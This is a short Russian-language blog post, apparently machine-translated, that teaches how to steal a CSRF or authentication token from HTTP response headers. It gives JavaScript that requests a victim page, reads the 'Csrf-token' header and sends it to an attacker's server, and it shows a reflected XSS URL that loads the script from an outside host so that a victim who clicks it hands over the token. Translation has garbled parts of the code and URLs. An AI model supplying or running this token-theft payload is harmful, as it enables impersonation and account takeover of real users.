Привет, народ,
Это короткое сообщение в блоге, объясняющее: «Как можно украсть заголовки, содержащие токен CSRF / токен аутентификации?»
Когда вы проверяете какой-либо сайт, и вы можете найти только файлы cookie HTTP, чтобы вы не могли взломать файлы cookie, а также Иногда нет токена CSRF или любой другой важной информации на веб-странице с точки зрения злоумышленника
но иногда они задаются в заголовках ответов. Как показано ниже
На рис: 1 видно, что на сайте присутствует заголовок CSRF-токена. Теперь мы его украдем.
Хорошо, ниже приведен код, который крадет заголовок токена и отправляет его на сервер злоумышленника.
var xhr = новый XMLHttpRequest ();
xhr.onreadystatechange = function ()
{
if (xhr.readyState == 4 && xhr.status == 200)
{
var yourtoken = xhr.getResponseHeader ('Csrf -token ')
var xhr2 = new XMLHttpRequest ();
xhr2.open (GET, « http: //attatcker's.server/ ' + yourtoken);
xhr2. send ();
}
}
xhr.open (GET, http: //yourvictim/demo/search.php ');
xhr.send ();
Есть два XMLHttpRequests: xhr и xhr2
Теперь, что делает xhr, просто перейдите на ту страницу, которая содержит заголовок ответа. Затем он захватывает токен заголовка csrf с помощью
getResponseHeader («Имя вашего заголовка»)
Таким образом, он получает заголовок, а затем значение сохраняется в переменной. т.е. yourtoken
Затем я отправляю еще один запрос xhr, то есть xhr2. Это для отправки заголовка токена csrf на сервер злоумышленника.
Есть смысл?
Теперь предположим, что вы нашли XSS в любой конечной точке URL. Что вы можете сделать, это просто вызвать этот скрипт. Что-то вроде этого
http: //yourvictim/demo/search.php ? search = ‹script src = http: //you.com/thiscode.js›
Теперь, когда жертва нажимает это, как это происходит, код украдет токен Csrf жертвы. А затем отправьте его на сервер злоумышленника.
Вы можете увидеть результат ниже.
Теперь у злоумышленника есть ваш токен. Он может выдать себя за вас.
Вот и все. Надеюсь, вам понравится :). Пожалуйста, поделитесь своим мнением, если хотите.
Спасибо за прочтение.
Контакт: